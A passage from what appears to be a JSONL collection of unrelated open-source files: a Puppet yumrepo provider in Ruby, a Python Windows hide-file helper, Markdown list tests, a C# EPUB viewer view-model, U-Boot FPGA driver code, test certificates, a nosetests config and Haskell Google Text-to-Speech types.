be checked. If a given directory does not exist it\n will be ignored. In addition, all sections in '/etc/yum.conf' aside from\n 'main' will be created as sections.\n\n ### Storing instances\n\n When creating a new repository, a new section will be added in the first\n yum repo directory that exists. The custom directory specified by the\n '/etc/yum.conf' reposdir property is checked first, followed by\n '/etc/yum/repos.d', and then '/etc/yum.repos.d'. If none of these exist, the\n section will be created in '/etc/yum.conf'.\n EOD\n\n PROPERTIES = Puppet::Type.type(:yumrepo).validproperties\n\n # Retrieve all providers based on existing yum repositories\n #\n # @api public\n # @return [Array] providers generated from existing yum\n # repository definitions.\n def self.instances\n instances = []\n\n virtual_inifile.each_section do |section|\n # Ignore the 'main' section in yum.conf since it's not a repository.\n next if section.name == \"main\"\n\n attributes_hash = {:name => section.name, :ensure => :present, :provider => :yumrepo}\n\n section.entries.each do |key, value|\n key = key.to_sym\n if valid_property?(key)\n attributes_hash[key] = value\n elsif key == :name\n attributes_hash[:descr] = value\n end\n end\n instances << new(attributes_hash)\n end\n\n instances\n end\n\n # Match catalog type instances to provider instances.\n #\n # @api public\n # @param resources [Array] Resources to prefetch.\n # @return [void]\n def self.prefetch(resources)\n repos = instances\n resources.each_key do |name|\n if provider = repos.find { |repo| repo.name == name }\n resources[name].provider = provider\n end\n end\n end\n\n # Return a list of existing directories that could contain repo files.\n #\n # @api private\n # @param conf [String] Configuration file to look for directories in.\n # @param dirs [Array] Default locations for yum repos.\n # @return [Array] All present directories that may contain yum repo configs.\n def self.reposdir(conf='/etc/yum.conf', dirs=['/etc/yum.repos.d', '/etc/yum/repos.d'])\n reposdir = find_conf_value('reposdir', conf)\n # Use directories in reposdir if they are set instead of default\n if reposdir\n # Follow the code from the yum/config.py\n dirs = reposdir.gsub!(\"\\n\", ' ')\n dirs = reposdir.gsub!(',', ' ')\n dirs = reposdir.split\n end\n dirs.select! { |dir| Puppet::FileSystem.exist?(dir) }\n if dirs.empty?\n Puppet.debug('No yum directories were found on the local filesystem')\n end\n\n dirs\n end\n\n # Used for testing only\n # @api private\n def self.clear\n @virtual = nil\n end\n\n # Helper method to look up specific values in ini style files.\n #\n # @api private\n # @param value [String] Value to look for in the configuration file.\n # @param conf [String] Configuration file to check for value.\n # @return [String] The value of a looked up key from the configuration file.\n def self.find_conf_value(value, conf='/etc/yum.conf')\n if Puppet::FileSystem.exist?(conf)\n file = Puppet::Util::IniConfig::PhysicalFile.new(conf)\n file.read\n if (main = file.get_section('main'))\n main[value]\n end\n end\n end\n\n # Enumerate all files that may contain yum repository configs.\n # '/etc/yum.conf' is always included.\n #\n # @api private\n # @return [Array\n def self.repofiles\n files = [\"/etc/yum.conf\"]\n reposdir.each do |dir|\n Dir.glob(\"#{dir}/*.repo\").each do |file|\n files << file\n end\n end\n\n files\n end\n\n # Build a virtual inifile by reading in numerous .repo files into a single\n # virtual file to ease manipulation.\n # @api private\n # @return [Puppet::Util::IniConfig::File] The virtual inifile representing\n # multiple real files.\n def self.virtual_inifile\n unless @virtual\n @virtual = Puppet::Util::IniConfig::File.new\n self.repofiles.each do |file|\n @virtual.read(file) if Puppet::FileSystem.file?(file)\n end\n end\n return @virtual\n end\n\n # Is the given key a valid type property?\n #\n # @api private\n # @param key [String] The property to look up.\n # @return [Boolean] Returns true if the property is defined in the type.\n def self.valid_property?(key)\n PROPERTIES.include?(key)\n end\n\n # Return an existing INI section or create a new section in the default location\n #\n # The default location is determined based on what yum repo directories\n # and files are present. If /etc/yum.conf has a value for 'reposdir' then that\n # is preferred. If no such INI property is found then the first default yum\n # repo directory that is present is used. If no default directories exist then\n # /etc/yum.conf is used.\n #\n # @param name [String] Section name to lookup in the virtual inifile.\n # @return [Puppet::Util::IniConfig] The IniConfig section\n def self.section(name)\n result = self.virtual_inifile[name]\n # Create a new section if not found.\n unless result\n dirs = reposdir()\n if dirs.empty?\n # If no repo directories are present, default to using yum.conf.\n path = '/etc/yum.conf'\n else\n # The ordering of reposdir is [defaults, custom], and we want to use\n # the custom directory if present.\n path = File.join(dirs.last, \"#{name}.repo\")\n end\n result = self.virtual_inifile.add_section(name, path)\n end\n result\n end\n\n # Save all yum repository files and force the mode to 0644\n # @api private\n # @return [void]\n def self.store\n inifile = self.virtual_inifile\n inifile.store\n\n target_mode = 0644\n inifile.each_file do |file|\n current_mode = Puppet::FileSystem.stat(file).mode & 0777\n unless current_mode == target_mode\n Puppet.info \"changing mode of #{file} from %03o to %03o\" % [current_mode, target_mode]\n Puppet::FileSystem.chmod(target_mode, file)\n end\n end\n end\n\n # Create a new section for the given repository and set all the specified\n # properties in the section.\n #\n # @api public\n # @return [void]\n def create\n @property_hash[:ensure] = :present\n\n new_section = current_section\n\n # We fetch a list of properties from the type, then iterate\n # over them, avoiding ensure. We're relying on .should to\n # check if the property has been set and should be modified,\n # and if so we set it in the virtual inifile.\n PROPERTIES.each do |property|\n next if property == :ensure\n\n if value = @resource.should(property)\n self.send(\"#{property}=\", value)\n end\n end\n end\n\n # Does the given repository already exist?\n #\n # @api public\n # @return [Boolean]\n def exists?\n @property_hash[:ensure] == :present\n end\n\n # Mark the given repository section for destruction.\n #\n # The actual removal of the section will be handled by {#flush} after the\n # resource has been fully evaluated.\n #\n # @api public\n # @return [void]\n def destroy\n # Flag file for deletion on flush.\n current_section.destroy=(true)\n\n @property_hash.clear\n end\n\n # Finalize the application of the given resource.\n #\n # @api public\n # @return [void]\n def flush\n self.class.store\n end\n\n # Generate setters and getters for our INI properties.\n PROPERTIES.each do |property|\n # The ensure property uses #create, #exists, and #destroy we can't generate\n # meaningful setters and getters for this\n next if property == :ensure\n\n define_method(property) do\n get_property(property)\n end\n\n define_method(\"#{property}=\") do |value|\n set_property(property, value)\n end\n end\n\n # Map the yumrepo 'descr' type property to the 'name' INI property.\n def descr\n if ! @property_hash.has_key?(:descr)\n @property_hash[:descr] = current_section['name']\n end\n value = @property_hash[:descr]\n value.nil? ? :absent : value\n end\n\n def descr=(value)\n value = (value == :absent ? nil : value)\n current_section['name'] = value\n @property_hash[:descr] = value\n end\n\n private\n\n def get_property(property)\n if ! @property_hash.has_key?(property)\n @property_hash[property] = current_section[property.to_s]\n end\n value = @property_hash[property]\n value.nil? ? :absent : value\n end\n\n def set_property(property, value)\n value = (value == :absent ? nil : value)\n current_section[property.to_s] = value\n @property_hash[property] = value\n end\n\n def section(name)\n self.class.section(name)\n end\n\n def current_section\n self.class.section(self.name)\n end\nend\n"} -{"text": "import platform\nimport ctypes\n\n\ndef windows_only(func):\n if platform.system() != 'Windows':\n return lambda *args, **kwargs: None\n return func\n\n\n@windows_only\ndef hide_file(path):\n \"\"\"\n Set the hidden attribute on a file or directory.\n\n From http://stackoverflow.com/questions/19622133/\n\n `path` must be text.\n \"\"\"\n __import__('ctypes.wintypes')\n SetFileAttributes = ctypes.windll.kernel32.SetFileAttributesW\n SetFileAttributes.argtypes = ctypes.wintypes.LPWSTR, ctypes.wintypes.DWORD\n SetFileAttributes.restype = ctypes.wintypes.BOOL\n\n FILE_ATTRIBUTE_HIDDEN = 0x02\n\n ret = SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN)\n if not ret:\n raise ctypes.WinError()\n"} -{"text": "## Unordered\n\nAsterisks tight:\n\n* asterisk 1\n* asterisk 2\n* asterisk 3\n\nAsterisks loose:\n\n* asterisk 1\n\n* asterisk 2\n\n* asterisk 3\n\n* * *\n\nPluses tight:\n\n* Plus 1\n* Plus 2\n* Plus 3\n\nPluses loose:\n\n* Plus 1\n\n* Plus 2\n\n* Plus 3\n\n* * *\n\nMinuses tight:\n\n* Minus 1\n* Minus 2\n* Minus 3\n\nMinuses loose:\n\n* Minus 1\n\n* Minus 2\n\n* Minus 3\n\n## Ordered\n\nTight:\n\n1. First\n2. Second\n3. Third\n\nand:\n\n1. One\n2. Two\n3. Three\n\nLoose using tabs:\n\n1. First\n\n2. Second\n\n3. Third\n\nand using spaces:\n\n1. One\n\n2. Two\n\n3. Three\n\nMultiple paragraphs:\n\n1. Item 1, graf one.\n \n Item 2. graf two. The quick brown fox jumped over the lazy dog's back.\n\n2. Item 2.\n\n3. Item 3.\n\n## Nested\n\n* Tab \n * Tab \n * Tab\n\nHere's another:\n\n1. First\n2. Second: \n * Fee\n * Fie\n * Foe\n3. Third\n\nSame thing but with paragraphs:\n\n1. First\n\n2. Second:\n \n * Fee\n * Fie\n * Foe\n\n3. Third"} -{"text": "\ufeffusing System.Collections.ObjectModel;\nusing System.Linq;\nusing System.Threading.Tasks;\nusing System.Windows.Input;\nusing VersOne.Epub.WpfDemo.Models;\nusing VersOne.Epub.WpfDemo.Utils;\n\nnamespace VersOne.Epub.WpfDemo.ViewModels\n{\n public class BookViewModel : ViewModel\n {\n private readonly BookModel bookModel;\n\n private bool isLoading;\n private ObservableCollection navigation;\n private ObservableCollection readingOrder;\n private HtmlContentFileViewModel currentHtmlContentFile;\n private HtmlContentFileViewModel previousHtmlContentFile;\n private HtmlContentFileViewModel nextHtmlContentFile;\n private string currentAnchor;\n private Command navigateCommand;\n private Command previousCommand;\n private Command nextCommand;\n\n public BookViewModel(int bookId)\n {\n bookModel = new BookModel();\n isLoading = true;\n currentHtmlContentFile = null;\n previousHtmlContentFile = null;\n nextHtmlContentFile = null;\n currentAnchor = null;\n navigateCommand = null;\n previousCommand = null;\n nextCommand = null;\n bookModel.OpenBookAsync(bookId).ContinueWith(epubBook => BookOpened(epubBook), TaskScheduler.FromCurrentSynchronizationContext());\n }\n\n public ObservableCollection Navigation\n {\n get\n {\n return navigation;\n }\n private set\n {\n navigation = value;\n NotifyPropertyChanged();\n }\n }\n\n public ObservableCollection ReadingOrder\n {\n get\n {\n return readingOrder;\n }\n private set\n {\n readingOrder = value;\n NotifyPropertyChanged();\n }\n }\n\n public bool IsLoading\n {\n get\n {\n return isLoading;\n }\n private set\n {\n isLoading = value;\n NotifyPropertyChanged();\n }\n }\n\n public HtmlContentFileViewModel CurrentHtmlContentFile\n {\n get\n {\n return currentHtmlContentFile;\n }\n set\n {\n currentHtmlContentFile = value;\n NotifyPropertyChanged();\n }\n }\n\n public bool IsPreviousButtonVisible\n {\n get\n {\n return previousHtmlContentFile != null;\n }\n }\n\n public bool IsNextButtonVisible\n {\n get\n {\n return nextHtmlContentFile != null;\n }\n }\n\n public string CurrentAnchor\n {\n get\n {\n return currentAnchor;\n }\n set\n {\n currentAnchor = value;\n NotifyPropertyChanged();\n }\n }\n\n public ICommand NavigateCommand\n {\n get\n {\n if (navigateCommand == null)\n {\n navigateCommand = new Command(param => Navigate(param as NavigationItemViewModel));\n }\n return navigateCommand;\n }\n }\n\n public ICommand PreviousCommand\n {\n get\n {\n if (previousCommand == null)\n {\n previousCommand = new Command(NavigateToPreviousItemInReadingOrder);\n }\n return previousCommand;\n }\n }\n\n public ICommand NextCommand\n {\n get\n {\n if (nextCommand == null)\n {\n nextCommand = new Command(NavigateToNextItemInReadingOrder);\n }\n return nextCommand;\n }\n }\n\n private void BookOpened(Task task)\n {\n EpubBook epubBook = task.Result;\n Navigation = new ObservableCollection(bookModel.GetNavigation(epubBook));\n ReadingOrder = new ObservableCollection(bookModel.GetReadingOrder(epubBook));\n if (ReadingOrder.Any())\n {\n CurrentHtmlContentFile = ReadingOrder.First();\n if (ReadingOrder.Count > 1)\n {\n nextHtmlContentFile = ReadingOrder[1];\n }\n }\n IsLoading = false;\n NotifyPropertyChanged(nameof(IsPreviousButtonVisible));\n NotifyPropertyChanged(nameof(IsNextButtonVisible));\n }\n\n private void Navigate(NavigationItemViewModel navigationItemViewModel)\n {\n navigationItemViewModel.IsTreeItemExpanded = true;\n if (navigationItemViewModel.IsLink)\n {\n Navigate(ReadingOrder.FirstOrDefault(htmlContentFile => htmlContentFile.HtmlFilePath == navigationItemViewModel.FilePath));\n CurrentAnchor = navigationItemViewModel.Anchor;\n }\n }\n\n private void Navigate(HtmlContentFileViewModel targetHtmlContentFileViewModel)\n {\n if (targetHtmlContentFileViewModel == null)\n {\n CurrentHtmlContentFile = null;\n previousHtmlContentFile = null;\n nextHtmlContentFile = null;\n }\n else if (CurrentHtmlContentFile != targetHtmlContentFileViewModel)\n {\n CurrentHtmlContentFile = targetHtmlContentFileViewModel;\n int currentReadingOrderItemIndex = ReadingOrder.IndexOf(CurrentHtmlContentFile);\n if (currentReadingOrderItemIndex != -1)\n {\n if (currentReadingOrderItemIndex > 0)\n {\n previousHtmlContentFile = ReadingOrder[currentReadingOrderItemIndex - 1];\n }\n else\n {\n previousHtmlContentFile = null;\n }\n if (currentReadingOrderItemIndex < ReadingOrder.Count - 1)\n {\n nextHtmlContentFile = ReadingOrder[currentReadingOrderItemIndex + 1];\n }\n else\n {\n nextHtmlContentFile = null;\n }\n }\n else\n {\n previousHtmlContentFile = null;\n nextHtmlContentFile = null;\n }\n }\n NotifyPropertyChanged(nameof(IsPreviousButtonVisible));\n NotifyPropertyChanged(nameof(IsNextButtonVisible));\n }\n\n private void NavigateToPreviousItemInReadingOrder()\n {\n if (previousHtmlContentFile != null)\n {\n Navigate(previousHtmlContentFile);\n }\n }\n\n private void NavigateToNextItemInReadingOrder()\n {\n if (nextHtmlContentFile != null)\n {\n Navigate(nextHtmlContentFile);\n }\n }\n }\n}\n"} -{"text": "/*\n * (C) Copyright 2002\n * Rich Ireland, Enterasys Networks, rireland@enterasys.com.\n * Keith Outwater, keith_outwater@mvis.com.\n *\n * (C) Copyright 2008\n * Andre Schwarz, Matrix Vision GmbH, andre.schwarz@matrix-vision.de\n *\n * SPDX-License-Identifier:\tGPL-2.0+\n */\n\n#include \n#include \n#include \n#include \"fpga.h\"\n#include \"mvblm7.h\"\n\n#ifdef FPGA_DEBUG\n#define fpga_debug(fmt, args...) printf(\"%s: \"fmt, __func__, ##args)\n#else\n#define fpga_debug(fmt, args...)\n#endif\n\nAltera_CYC2_Passive_Serial_fns altera_fns = {\n\tfpga_null_fn,\n\tfpga_config_fn,\n\tfpga_status_fn,\n\tfpga_done_fn,\n\tfpga_wr_fn,\n\tfpga_null_fn,\n\tfpga_null_fn,\n};\n\nAltera_desc cyclone2 = {\n\tAltera_CYC2,\n\tpassive_serial,\n\tAltera_EP2C20_SIZE,\n\t(void *) &altera_fns,\n\tNULL,\n\t0\n};\n\nDECLARE_GLOBAL_DATA_PTR;\n\nint mvblm7_init_fpga(void)\n{\n\tfpga_debug(\"Initialize FPGA interface\\n\");\n\tfpga_init();\n\tfpga_add(fpga_altera, &cyclone2);\n\tfpga_config_fn(0, 1, 0);\n\tudelay(60);\n\n\treturn 1;\n}\n\nint fpga_null_fn(int cookie)\n{\n\treturn 0;\n}\n\nint fpga_config_fn(int assert, int flush, int cookie)\n{\n\tvolatile immap_t *im = (volatile immap_t *)CONFIG_SYS_IMMR;\n\tvolatile gpio83xx_t *gpio = (volatile gpio83xx_t *)&im->gpio[0];\n\tu32 dvo = gpio->dat;\n\n\tfpga_debug(\"SET config : %s\\n\", assert ? \"low\" : \"high\");\n\tif (assert)\n\t\tdvo |= FPGA_CONFIG;\n\telse\n\t\tdvo &= ~FPGA_CONFIG;\n\n\tif (flush)\n\t\tgpio->dat = dvo;\n\n\treturn assert;\n}\n\nint fpga_done_fn(int cookie)\n{\n\tvolatile immap_t *im = (volatile immap_t *)CONFIG_SYS_IMMR;\n\tvolatile gpio83xx_t *gpio = (volatile gpio83xx_t *)&im->gpio[0];\n\tint result = 0;\n\n\tudelay(10);\n\tfpga_debug(\"CONF_DONE check ... \");\n\tif (gpio->dat & FPGA_CONF_DONE) {\n\t\tfpga_debug(\"high\\n\");\n\t\tresult = 1;\n\t} else\n\t\tfpga_debug(\"low\\n\");\n\n\treturn result;\n}\n\nint fpga_status_fn(int cookie)\n{\n\tvolatile immap_t *im = (volatile immap_t *)CONFIG_SYS_IMMR;\n\tvolatile gpio83xx_t *gpio = (volatile gpio83xx_t *)&im->gpio[0];\n\tint result = 0;\n\n\tfpga_debug(\"STATUS check ... \");\n\tif (gpio->dat & FPGA_STATUS) {\n\t\tfpga_debug(\"high\\n\");\n\t\tresult = 1;\n\t} else\n\t\tfpga_debug(\"low\\n\");\n\n\treturn result;\n}\n\nint fpga_clk_fn(int assert_clk, int flush, int cookie)\n{\n\tvolatile immap_t *im = (volatile immap_t *)CONFIG_SYS_IMMR;\n\tvolatile gpio83xx_t *gpio = (volatile gpio83xx_t *)&im->gpio[0];\n\tu32 dvo = gpio->dat;\n\n\tfpga_debug(\"CLOCK %s\\n\", assert_clk ? \"high\" : \"low\");\n\tif (assert_clk)\n\t\tdvo |= FPGA_CCLK;\n\telse\n\t\tdvo &= ~FPGA_CCLK;\n\n\tif (flush)\n\t\tgpio->dat = dvo;\n\n\treturn assert_clk;\n}\n\nstatic inline int _write_fpga(u8 val, int dump)\n{\n\tvolatile immap_t *im = (volatile immap_t *)CONFIG_SYS_IMMR;\n\tvolatile gpio83xx_t *gpio = (volatile gpio83xx_t *)&im->gpio[0];\n\tint i;\n\tu32 dvo = gpio->dat;\n\n\tif (dump)\n\t\tfpga_debug(\" %02x -> \", val);\n\tfor (i = 0; i < 8; i++) {\n\t\tdvo &= ~FPGA_CCLK;\n\t\tgpio->dat = dvo;\n\t\tdvo &= ~FPGA_DIN;\n\t\tif (dump)\n\t\t\tfpga_debug(\"%d \", val&1);\n\t\tif (val & 1)\n\t\t\tdvo |= FPGA_DIN;\n\t\tgpio->dat = dvo;\n\t\tdvo |= FPGA_CCLK;\n\t\tgpio->dat = dvo;\n\t\tval >>= 1;\n\t}\n\tif (dump)\n\t\tfpga_debug(\"\\n\");\n\n\treturn 0;\n}\n\nint fpga_wr_fn(const void *buf, size_t len, int flush, int cookie)\n{\n\tunsigned char *data = (unsigned char *) buf;\n\tint i;\n\n\tfpga_debug(\"fpga_wr: buf %p / size %d\\n\", buf, len);\n\tfor (i = 0; i < len; i++)\n\t\t_write_fpga(data[i], 0);\n\tfpga_debug(\"\\n\");\n\n\treturn FPGA_SUCCESS;\n}\n"} -{"text": "-----BEGIN CERTIFICATE-----\nMIIDyzCCArOgAwIBAgIHBHLBjqaGKTANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE\nBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczEU\nMBIGA1UECgwLTmV0ZmxpeCBJbmMxLTArBgNVBAsMJFBsYXRmb3JtIFNlY3VyaXR5\nICgxMjUyMDc1Mzk5Mzc0NjE0KTEbMBkGA1UEAwwSTG9jYWwgUm9vdCBmb3IgOTMx\nMB4XDTIwMDcxNDAzMTY1NVoXDTIxMDcxNDAzMDk0NFowgZ0xCzAJBgNVBAYTAlVT\nMRMwEQYDVQQIDApDYWxpZm9ybmlhMRIwEAYDVQQHDAlMb3MgR2F0b3MxFDASBgNV\nBAoMC05ldGZsaXggSW5jMS0wKwYDVQQLDCRQbGF0Zm9ybSBTZWN1cml0eSAoMTI1\nMjA3NTU1NDM1NzczMikxIDAeBgNVBAMMF0ludGVybWVkaWF0ZSBDQSBmb3IgOTMx\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAhPDRKHGFR/s4d75C7PQc\nrcIl9PS7pT5po4Z+tM4I4yckdJuplbQtbuD75r0ZFZZas2l7Hvukc7yfy9oVVgAV\nMcInV7Yk/jneTA0lC12g3c4g3ycRdhorfxwp8QcihqZscvC8hQZteT0TJglMNJ8S\nslcdDyoozznnkD1RPHc+sf+HTaMKrISQbbbOWpVFM39B2pcu8df0XMnhhNYsF7+H\nOH3SjxeUHApl4pCVDhR+Dy8oHQ3emw5XmSvb3b9A61RB3cMFt/sa4Nr04gfzNcjw\nBU8sOjzeHT6EYtAht2xxXfCaNP6Pbh6NZRtD5kMJCg4cF5fz92FvOUBb9+/1f8V1\n5wIDAQABoxMwETAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBT\n39pntfqmIb++yrQM0cDf+lRT1tb+MtX7Ix69mO5cXg1p03hfHqCTwCKj45Mtq84x\nG62qYm5EO+Gwu+dms3KcdSOHa3y7ZRfFHyREuuvgmY5oXjYcvGl45PkjZ5TxqQqV\n/9DODVwaCEH9bSxpCOOxq0L36ZRDT4AN0m+MSx6S9GN8AWnyO09F65OJygnaINOL\nqYwdy0n9IruNZy5pRqkTLnZjwVZCJD6mugYGjk2zxf/ihKA4uy/Jh9zJwWNTYXM4\nis4KM2plDZtJlD5CM2VoUYKA6cNZLcAX2YDcCrdvpTcGHMztBXXm/+Eeq0JncBr9\n5jp2yc2ikY6D220Puntp\n-----END CERTIFICATE-----\n-----BEGIN CERTIFICATE-----\nMIIEBDCCAuygAwIBAgIHBHLBhWmoljANBgkqhkiG9w0BAQsFADCBozELMAkGA1UE\nBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczEU\nMBIGA1UECgwLTmV0ZmxpeCBJbmMxLTArBgNVBAsMJFBsYXRmb3JtIFNlY3VyaXR5\nICgxMjUxNjQ1MDA4NDUxNjU2KTEmMCQGA1UEAwwdTmFtZSBDb25zdHJhaW50cyBU\nZXN0IFJvb3QgQ0EwHhcNMjAwNzE0MDMxNjU0WhcNMjEwNzE0MDMwOTQ0WjCBmDEL\nMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBH\nYXRvczEUMBIGA1UECgwLTmV0ZmxpeCBJbmMxLTArBgNVBAsMJFBsYXRmb3JtIFNl\nY3VyaXR5ICgxMjUyMDc1Mzk5Mzc0NjE0KTEbMBkGA1UEAwwSTG9jYWwgUm9vdCBm\nb3IgOTMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmhJcr79EBWpU\nu+aTSAK7FSg0mwgLG50bZhhH9JSkWdkzqOR372O/gBmeNxz9k4LSbcKVEh5HX7Kp\nJAtGRvvNHSzU0+RoggJEqNS1oUJnTcJeX9Z0ZjfWmKsyiQPYacSiRUtuTZDPDC1k\nQC+8yn7TJu4A7B0LFRtCKLauyslId+uA3psW129/wLLAEXDdHd8H0E1PG6ir4Ehy\niGhQntaN9gfK2wK6qGkrtc1j7E8DNzV9VtnARATSBkh1XazHLqHSoizuwgWk+T0B\nCGf2o14vEkJJL+PAQ8o/PGaIa2MyVTUAbF4EWFZS/5IqBvzM4PB48a5k77xdzXVX\nDodsNeRBJQIDAQABo0YwRDAPBgNVHRMBAf8EBTADAQH/MDEGA1UdHgEB/wQnMCWg\nFTAKhwh/AAAA/wAAADAHggVsb2NhbKEMMAqHCH8AAAD/AAAAMA0GCSqGSIb3DQEB\nCwUAA4IBAQBl+IDsp/t7Xd6NV7AptI/sexVWrDISjvPY494qzs9W78tw2L+lQqaN\nN2tXEwZXIXGC/RtGr1fzgWkygWCLLmyQJ+x8JEQVqaadNpJczWO9lqGm/i92mewh\nYmW2ZYGCl/0qzcgra6A92Hkqv6HiS/m7skP+q9JfGjwrVIjq7otgjxfTkWu+unpM\nYhKv5xeo09Qqlmb9RvsidBQdJX7rSYd0vj0i3MDGUsTHMX0t93Uy0tsW59l/zmS2\nWGeVBX1OoQBIuuJGTnaWat9driekWp9CUQDns/AhbnAy7d/UdTS0oDmbi7HCAlNP\nbiE8xWFJg5w0OfA/kUQZ7DECcBNm5fYV\n-----END CERTIFICATE-----\n-----BEGIN CERTIFICATE-----\nMIID3DCCAsSgAwIBAgIHBHJdU5tTvDANBgkqhkiG9w0BAQsFADCBozELMAkGA1UE\nBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBHYXRvczEU\nMBIGA1UECgwLTmV0ZmxpeCBJbmMxLTArBgNVBAsMJFBsYXRmb3JtIFNlY3VyaXR5\nICgxMjUxNjQ1MDA4NDUxNjU2KTEmMCQGA1UEAwwdTmFtZSBDb25zdHJhaW50cyBU\nZXN0IFJvb3QgQ0EwHhcNMjAwNzE0MDMwOTQ0WhcNMjEwNzE0MDMwOTQ0WjCBozEL\nMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcMCUxvcyBH\nYXRvczEUMBIGA1UECgwLTmV0ZmxpeCBJbmMxLTArBgNVBAsMJFBsYXRmb3JtIFNl\nY3VyaXR5ICgxMjUxNjQ1MDA4NDUxNjU2KTEmMCQGA1UEAwwdTmFtZSBDb25zdHJh\naW50cyBUZXN0IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB\nAQCiIhD8HJBlLveXSen5+3nyOOA4HM8H/SDGR7ufNeSHmkdSh7s4fm4pmzNEpDz7\nUVv403NnSqE4PsunMx5H7OK8C0E6vUmOIGRmHvSxHbP7bleko4SR9jJ7T3RU1HpJ\nBYESszrbAvoYEwpyUI6a20bmokAHOgU/BN1SIyMzacVVwhDmmQOcDc37SUSCFKen\nClavf1vgtt15SE3oZF7GN8M4SSF/8aKcypt3xaGE0HvRVu9JRBDjIU7GMLcYnWV3\n/6UC1GuwgvA9sEGS857kOcwt5V5vF8FHrfXv63/1QcOyWXuGL2oHUqwuKP9lTgkc\nLZUdXczvLrtW1dxtg05tU6VDAgMBAAGjEzARMA8GA1UdEwEB/wQFMAMBAf8wDQYJ\nKoZIhvcNAQELBQADggEBAErEOumWJjc7bgQQmnviDl075fnYHidlY5SkjdwFcSCK\nZSolT8z7xvtpW10mbM8msvzNreLmNBASEiP7NlI4bxZpQJ1RJ1tR0ybe2cD0171A\n23/1kza49x+3IorUwQZrRSAksBpNqggMbmgqy3lMlNy8V2EtmO2I/4C5nsN8/uys\nj6JmeEcJFa7rr4YgYsDZwosIOX7XQDy3Xb7rJEmLpRs+VmjbgsT/0ncqkfLqDJ5+\nUtBofdpGTqCk+0rJf1sVDEtZp/wYo1236W5AAAeWrFlM7ht3CZdQCBsoV4pZ5m6h\n2+oC85m5hDidnH5/0Er88jR9kHxdM5dJNOU+vdY/XpA=\n-----END CERTIFICATE-----\n"} -{"text": "[nosetests]\nverbosity=2\ndetailed-errors = True\nwith-doctest = True\ndoctest-extension = rst\ndoctest-fixtures = _fixt\n# XXX: docs/index.txt requires lxml\ninclude = docs\nexclude = seleniumtests\ncover-package=pyquery\nwith-coverage=1\ndoctest-options = +ELLIPSIS,+NORMALIZE_WHITESPACE\n\n[bdist_wheel]\nuniversal=1\n"} -{"text": "{-# LANGUAGE DeriveDataTypeable #-}\n{-# LANGUAGE DeriveGeneric #-}\n{-# LANGUAGE LambdaCase #-}\n{-# LANGUAGE NoImplicitPrelude #-}\n{-# LANGUAGE OverloadedStrings #-}\n\n{-# OPTIONS_GHC -fno-warn-unused-imports #-}\n\n-- |\n-- Module : Network.Google.TextToSpeech.Types.Sum\n-- Copyright : (c) 2015-2016 Brendan Hay\n-- License : Mozilla Public License, v. 2.0.\n-- Maintainer : Brendan Hay \n-- Stability : auto-generated\n-- Portability : non-portable (GHC extensions)\n--\nmodule Network.Google.TextToSpeech.Types.Sum where\n\nimport Network.Google.Prelude hiding (Bytes)\n\n-- | The preferred gender of the voice. Optional; if not set, the service\n-- will choose a voice based on the other parameters such as language_code\n-- and name. Note that this is only a preference, not requirement; if a\n-- voice of the appropriate gender is not available, the synthesizer should\n-- substitute a voice with a different gender rather than failing the\n-- request.\ndata VoiceSelectionParamsSsmlGender\n = SsmlVoiceGenderUnspecified\n -- ^ @SSML_VOICE_GENDER_UNSPECIFIED@\n -- An unspecified gender. In VoiceSelectionParams, this means that the\n -- client doesn\\'t care which gender the selected voice will have. In the\n -- Voice field of ListVoicesResponse, this may mean that the voice doesn\\'t\n -- fit any of the other categories in this enum, or that the gender of the\n -- voice isn\\'t known.\n | Male\n -- ^ @MALE@\n -- A male voice.\n | Female\n -- ^ @FEMALE@\n -- A female voice.\n | Neutral\n -- ^ @NEUTRAL@\n -- A gender-neutral voice.\n deriving (Eq, Ord, Enum, Read, Show, Data, Typeable, Generic)\n\ninstance Hashable VoiceSelectionParamsSsmlGender\n\ninstance FromHttpApiData VoiceSelectionParamsSsmlGender where\n parseQueryParam = \\case\n \"SSML_VOICE_GENDER_UNSPECIFIED\" -> Right SsmlVoiceGenderUnspecified\n \"MALE\" -> Right Male\n \"FEMALE\" -> Right Female\n \"NEUTRAL\" -> Right Neutral\n x -> Left (\"Unable to parse VoiceSelectionParamsSsmlGender from: \" <> x)\n\ninstance ToHttpApiData VoiceSelectionParamsSsmlGender where\n toQueryParam = \\case\n SsmlVoiceGenderUnspecified -> \"SSML_VOICE_GENDER_UNSPECIFIED\"\n Male -> \"MALE\"\n Female -> \"FEMALE\"\n Neutral -> \"NEUTRAL\"\n\ninstance FromJSON VoiceSelectionParamsSsmlGender where\n parseJSON = parseJSONText \"VoiceSelectionParamsSsmlGender\"\n\ninstance ToJSON VoiceSelectionParamsSsmlGender where\n toJSON = toJSONText\n\n-- | V1 error format.\ndata Xgafv\n = X1\n -- ^ @1@\n -- v1 error format\n | X2\n -- ^ @2@\n -- v2 error format\n deriving (Eq, Ord, Enum, Read, Show, Data, Typeable, Generic)\n\ninstance Hashable Xgafv\n\ninstance FromHttpApiData Xgafv where\n parseQueryParam = \\case\n \"1\" -> Right X1\n \"2\" -> Right X2\n x -> Left (\"Unable to parse Xgafv from: \" <> x)\n\ninstance ToHttpApiData Xgafv where\n toQueryParam = \\case\n X1 -> \"1\"\n X2 -> \"2\"\n\ninstance FromJSON Xgafv where\n parseJSON = parseJSONText \"Xgafv\"\n\ninstance ToJSON Xgafv where\n toJSON = toJSONText\n\n-- | The gender of this voice.\ndata VoiceSsmlGender\n = VSGSsmlVoiceGenderUnspecified\n -- ^ @SSML_VOICE_GENDER_UNSPECIFIED@\n -- An unspecified gender. In VoiceSelectionParams, this means that 